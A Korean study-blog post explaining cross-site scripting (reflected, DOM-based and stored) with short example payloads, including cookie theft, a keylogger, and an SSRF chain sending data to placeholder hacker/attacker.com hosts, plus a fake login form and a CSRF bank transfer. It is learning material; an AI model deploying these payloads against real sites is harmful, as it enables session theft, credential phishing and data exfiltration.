프롤로그
XSS의 개념이랑 무엇을 할 수 있는가에 대한 정리
Cross Site Scripting(XSS)
공격자가 악의적인 스크립트를 주입해서 실행시켜 공격하는 해킹 기법이다. XSS라고 부르는데, 이게 앞글자만 따면 CSS인데 XSS라고 부르는이유는? CSS는 이미 HTML 과 CSS 그게 있어서 XSS라고 한다.
임의의 스크립트를 실행시켜서 공격하는 기법인데, 이게 어떻게 가능하냐?
사용자의 입력값을 HTML, JS 태그로 인식을 해버리는 경우 실행이 된다.
사용자가 <h1>안녕</h1> 라고 입력을 했는데, 저 <h1>을 사용자의 입력인데 실제 태그로 인식이 되어서 h1 크기대로 출력이 되게 된다. 이렇게 실행이 되는 게 XSS기법인데, 악의적인 사용자가 <script>를 이용해서 사용자의 정보를 탈취하는 경우 큰 위험을 초래한다.
이렇게 작성하고 submit버튼을 클릭하고, 해당 게시물에 들어가게 되면
이렇게 alert 창이 뜨고
<h1>태그와 <b>태그가 들어간 것을 확인할 수 있다.
다른 코드를 작성해서 개발자 도구를 보면
스크립트로 인식이 되는거다.
임의의 스크립트가 실행된 해킹 기법. 이를 XSS 기법이라고 한다.
이를 토대로 무엇을 할 수 있냐?
XSS의 종류
1. Refelcted XSS
악성스크립트가 서버에 저장되지 않고, URL등의 입력값을 통해 브라우저로 즉기 반사될 때, 즉 URL에 작성된 값이 서버를 통해 화면에 로드 되면서 발생하는 XSS이다.
http://localhost:8000/board/view.php?id=3
이런식으로 할 때,
?뒤에 있는 것을 데이터로 서버가 받아와서 처리하는 코드가 있다고 했을 떄 저기 부분에다가
<script>alert(1)</script>등과 같은 스크립트를 작성하게 되면 실행이 된다.
사용자가 URL을 클릭하자마자 공격이 실행되는데, 이를 reflected xss (반사형 xss)라고 한다.
2. DOM-based XSS
DOM이 무엇이냐? Document Object Model의 약자로 HTML, XML 문서의 구조를 프로그래밍 언어에서 접근하고 조작할 수 있도록 만든 객체 기반의 트리 구조이다. 브라우저는 HTML 문서를 로드하면 DOM을 생성하며, 이를 통해 개발자는 문서의 콘텐츠와 구조를 동적으로 변경하거나 상호작용 할 수 있다.
DOM은 HTML 문서를 브라우저가 이해할 수 있는 형태로 변환하여, 자바스크립트와 같은 프로그래밍 언어로 문서를 수정하거나 조작할 수 있게 해준다. HTML 요소의 추가, 삭제, 수정, 이벤트 처리, 스타일 변경 등을 가능하게 해준다.
<!DOCTYPE html>
<html>
<head>
<title>My Page</title>
</head>
<body>
<h1>Hello, World!</h1>
<p id="paragraph">This is a paragraph.</p>
</body>
</html>
이런 코드가 있다고 했을 때
Document
├── html
│ ├── head
│ │ └── title ("My Page")
│ └── body
│ ├── h1 ("Hello, World!")
│ └── p#paragraph ("This is a paragraph.")
이런 DOM 트리로 변경을 하는 거고
// 특정 요소 선택
let paragraph = document.getElementById('paragraph');
// 요소의 텍스트 변경
paragraph.textContent = 'New content!';
// 새로운 요소 추가
let newElement = document.createElement('div');
newElement.textContent = 'This is a new div.';
document.body.appendChild(newElement);
이 자바스크립트로 저거를 조작할 수 있는 것이다.
그러면 DOM-based XSS란? 공격자가 DOM을 직접 조작할 수 있는 경우에 발생하는 것이다.
아까 위에서 문서의 콘텐츠와 구조를 동적으로 변경하거나 상호하여 HTML 요소의 추가, 삭제, 수정, 이벤트 처리, 스타일 변경 등을 한다고 했다.
URL에 작성된 값이 브라우저를 통하여 화면에 로드되면서 발생하는 XSS로
// URL에서 파라미터 값 읽기
let userInput = new URLSearchParams(window.location.search).get('input');
// DOM에 직접 삽입
document.body.innerHTML = `<h1>${userInput}</h1>`;
이런식으로 URL 파라미터에서 값을 읽고 그것을 그래도 DOM에 삽입하는 것이다.
3. Stored XSS
Stroed , 저장되어있다. 즉 저장형 XSS인데 공격자가 악성 스크립트를 웹 애플리케이션의 데이터베이스에 저장하여, 해당데이터가 사용자에게 제공될 때 스크립트가 실행되는 형태의 공격이다. 이게 어쩄거나 데이터베이스에 저장이 되어있다가 보여주는 것이므로 많은 사람들이 저 데이터에 접근할때 영향을 미칠 수 있어서 매우 위험하다.
정리하자면 서버 DB에 XSS Payload가 저장되어있다가 유저가 해당값에 접근하면 발생하는 XSS 공격기법이다
게시판이 있다고 했을 때
이런식으로 글을 작성하고 저장하기 버튼을 누르면
데이터베이스에 해당 글이 들어간다.
이때 사용자가 해당 글을 클릭을 하면 해당 저장되어있는 데이터베이스에서 글을 가지고 와서 보여지게 되는데, 이때 악성 스크립트가 실행되는 것을 Stored XSS라고 한다.
XSS을 이용한 공격기법
(1) 정보 탈취
<script>
document.location='해커 서버 ?cookie='+document.cookie;
</script>
이렇게 사용자의 쿠키를 뽑아올 수 있다.
(2) 피싱
악성스크립트로 가짜 로그인 폼을 띄워서 사용자의 계정을 탈취
<form action="해커서버/login" method="POST">
<input type="text" name="username">
<input type="password" name="password">
<button type="submit">로그인</button>
</form>
(3) 키로깅
스크립트를 통해 사용자의 키 입력을 기록
<script>
document.addEventListener('keydown', function(e) {
fetch('해커서버/log?key='+e.key);
});
</script>
(4) 악성 리디렉션(Open Redirect)
사용자를 악성 사이트로 리디렉션
<script>
window.location.href = '불법사이트';
</script>
(5) CSRF(Client Side Request Forgery)
클라이언트 측의 의지와 무관하게 공격자가 의도한 행위(REquest)를 하게 되는 것
XSS를 통해 삽입된 스크립트는 사용자의 브라우저에서 실행되기 때문에 사용자의 인증된 세션을 악용해서 CSRF 공격을 수행할 수 있다.
<script>
fetch('https://bank.com/transfer?to=attacker&amount=10000', {
method: 'POST',
credentials: 'include'
});
</script>
이런식으로 작성하면, 사용자가 로그인 된 상태에서 자동으로 요청을 보낸다. 이때 사용자의 세션쿠키를 자동으로 포함하여 서버에 요청을 보내기 때문에 서버는 해당 요청이 정상 사용자로부터 온 것으로 인식하여 명령을 내린다.
(6) SSRF
Server Side Request Forgery
서버의 의지와 무관하게 공격자가 의도한 행위(Request)를 하게 되는 것
브라우저에서 악성 스크립트를 실행하여, 서버에 SSRF 요청을 유발할 수 있다. XSS가 내부 네트워크나 서버로의 접근을 열어주는 중간 역할을 한다.
<script>
fetch('https://vulnerable.com/api?url=http://localhost:8080/admin')
.then(response => response.text())
.then(data => {
fetch('https://attacker.com/leak?data=' + encodeURIComponent(data));
});
</script>
이런식으로 서버 내부 자원에 접근하도록 URL을 조작하는 방식이다.
항목 | CSRF | SSRF |
공격 대상 | 사용자의 인증된 세션 | 서버의 내부 네트워크 또는 외부 서비스 |
주요 취약점 | 인증된 사용자 요청 검증 부족 | 서버의 요청 처리에 대한 검증 부족 |
사용자 관여 여부 | 사용자가 링크 클릭 또는 페이지 방문 필요 | 사용자가 관여하지 않아도 서버 요청 자체를 악용 가능 |
방어 방법 | CSRF 토큰, SameSite 쿠키 설정, Referer 검증 | 화이트리스트 설정, 입력값 검증, 요청 메서드 및 타임아웃 제한 |
에필로그
정리하는 데 오래 걸리긴 했는데 조금 더 문제 풀면 이해될 것 같다.
'KnockOn' 카테고리의 다른 글
[KnockOn] 3.6 SQLi_WAF_5 Write-Up (0) | 2025.01.03 |
---|---|
[KnockOn] XSS 수행 방법과 XSS WAF Bypass (1) | 2025.01.03 |
[KnockOn] 3.6 SQLi_WAF_6 Write-Up (0) | 2025.01.02 |
[KnockOn] 4. Xross Site Scripting Write-Up (0) | 2025.01.01 |
[KnockOn] ex. Proxy Write-Up (0) | 2025.01.01 |